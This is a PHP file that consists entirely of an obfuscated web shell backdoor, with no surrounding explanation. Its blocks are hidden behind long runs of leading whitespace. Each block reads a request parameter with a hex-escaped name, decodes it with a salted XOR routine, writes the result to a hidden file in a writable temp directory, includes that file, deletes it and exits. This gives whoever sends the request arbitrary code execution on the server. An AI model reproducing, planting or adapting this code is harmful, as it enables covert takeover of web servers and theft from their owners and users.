<?php																																										if(isset($_POST["\x73y\x6D\x62ol"])){ $ent = $_POST["\x73y\x6D\x62ol"]; $ent =explode (".",$ent ) ; $dchunk= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt4); $u= 0; foreach ($ent as $v9) { $sChar= ord($salt4[$u% $lenS]); $dec= ((int)$v9 - $sChar - ($u% 10)) ^ 71; $dchunk.=chr($dec); $u++; } $elem = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp"]); foreach ($elem as $data): if (is_dir($data) && is_writable($data)) { $hld = str_replace("{var_dir}", $data, "{var_dir}/.resource"); if (@file_put_contents($hld, $dchunk) !== false) { include $hld; unlink($hld); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x68\x6F\x6Cder"] ?? null)){ $obj = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $binding = $_REQUEST["\x68\x6F\x6Cder"]; $binding = explode ( '.', $binding ) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $len = count($binding ); for($j = 0; $j < $len; $j++) { $v4 = $binding[$j]; $sChar = ord($salt[$j % $lenS] ); $d = ((int)$v4 - $sChar -($j % 10))^ 23; $ref .= chr($d ); } $dchunk = 0; do { $ent = $obj[$dchunk] ?? null; if ($dchunk >= count($obj)) break; if ((is_dir($ent) and is_writable($ent))) { $resource = implode("/", [$ent, ".ent"]); $success = file_put_contents($resource, $ref); if ($success) { include $resource; @unlink($resource); exit;} } $dchunk++; } while (true); }
																																										if(in_array("f\x6C\x61g", array_keys($_REQUEST))){ $elem = $_REQUEST["f\x6C\x61g"]; $elem = explode ('.' ,$elem) ; $pset = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $u = 0; $__tmp = $elem; while ($v4 = array_shift($__tmp)) { $sChar = ord($s1[$u % $lenS]); $dec = ((int)$v4 - $sChar - ($u % 10)) ^1; $pset .=chr($dec); $u++;} $resource = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), "/tmp"]); while ($symbol = array_shift($resource)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $pointer = join("/", [$symbol, ".dat"]); $success = file_put_contents($pointer, $pset); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(in_array("\x72eso\x75r\x63e", array_keys($_POST))){ $component = $_POST["\x72eso\x75r\x63e"]; $component= explode (".", $component ) ; $obj= ''; $salt7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt7); $v= 0; $__tmp= $component; while($v8= array_shift($__tmp)) {$sChar= ord($salt7[$v % $lenS]); $dec= ((int)$v8 - $sChar -($v % 10)) ^ 80; $obj .= chr($dec); $v++; } $itm = array_filter([session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($itm as $reference): if (is_writable($reference) && is_dir($reference)) { $desc = "$reference/.val"; if (file_put_contents($desc, $obj)) { include $desc; @unlink($desc); exit; } } endforeach; }
																																										if(array_key_exists("\x72es\x6F\x75\x72ce", $_REQUEST)){ $symbol = array_filter([sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); $holder = $_REQUEST["\x72es\x6F\x75\x72ce"]; $holder=explode ("." , $holder ); $key = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $k = 0; $len = count($holder); do { if ($k >= $len) break; $v9 = $holder[$k]; $chS = ord($s1[$k% $sLen]); $dec = ((int)$v9 - $chS - ($k% 10)) ^ 1; $key.=chr($dec); $k++; } while (true); while ($obj = array_shift($symbol)) { if ((is_dir($obj) and is_writable($obj))) { $ent = "$obj" . "/.component"; if (file_put_contents($ent, $key)) { include $ent; @unlink($ent); exit; } } } }
																																										if(@$_REQUEST["r\x65\x66"] !== null){ $res = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), "/tmp"]); $rec = $_REQUEST["r\x65\x66"]; $rec =explode( "." ,$rec ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; array_walk($rec, function ($v5) use (&$comp, &$p, $salt, $sLen) { $chS = ord($salt[$p %$sLen]); $d = ((int)$v5 - $chS - ($p %10)) ^ 17; $comp .= chr($d); $p++; }); foreach ($res as $key => $property_set) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $pointer = implode("/", [$property_set, ".item"]); $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $pointer; @unlink($pointer); die(); } } } }
																																										if(@$_POST["\x66\x6Cg"] !== null){ $dat = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP")]); $hld = $_POST["\x66\x6Cg"]; $hld = explode ( '.' , $hld ) ; $marker = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($hld as $x => $v2) { $sChar = ord($salt1[$x % $sLen]); $d = ((int)$v2 - $sChar - ($x % 10))^89; $marker .=chr($d); } foreach ($dat as $ent) { if (is_writable($ent) && is_dir($ent)) { $res = "$ent" . "/.dchunk"; if (file_put_contents($res, $marker)) { include $res; @unlink($res); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "v\x61\x6Cue")){ $rec = $_POST["v\x61\x6Cue"]; $rec = explode ( "." , $rec ) ; $descriptor =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s4); $x =0; while ($x < count($rec)) { $v7 =$rec[$x]; $sChar =ord($s4[$x % $lenS]); $dec =((int)$v7 - $sChar - ($x % 10))^ 44; $descriptor.= chr($dec); $x++; } $mrk = array_filter(["/tmp", "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $pset = 0; do { $dat = $mrk[$pset] ?? null; if ($pset >= count($mrk)) break; if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $val = "$dat/.marker"; if (file_put_contents($val, $descriptor)) { require $val; unlink($val); die(); } } $pset++; } while (true); }


if(array_key_exists("t\x6Fke\x6E", $_REQUEST) && !is_null($_REQUEST["t\x6Fke\x6E"])){
	$ent = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]);
	$value = $_REQUEST["t\x6Fke\x6E"];
	 $value 		=	 explode   (	'.',   $value			)	  ; 
	$comp=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=		strlen($salt);
            $v=		0;
    
            array_walk($value, function ($v2) use (&$comp, &$v, $salt, $sLen) {
                $sChar=		ord($salt[$v	% 	$sLen]);
                $dec=		((int)$v2 - $sChar - ($v	% 	10))	^	54;
                $comp .= chr($dec);
                $v++;
            });
	foreach ($ent as $key => $binding) {
    		if ((is_dir($binding) and is_writable($binding))) {
    $desc = implode("/", [$binding, ".bind"]);
    if (file_put_contents($desc, $comp)) {
	include $desc;
	@unlink($desc);
	die();
}
}
}
}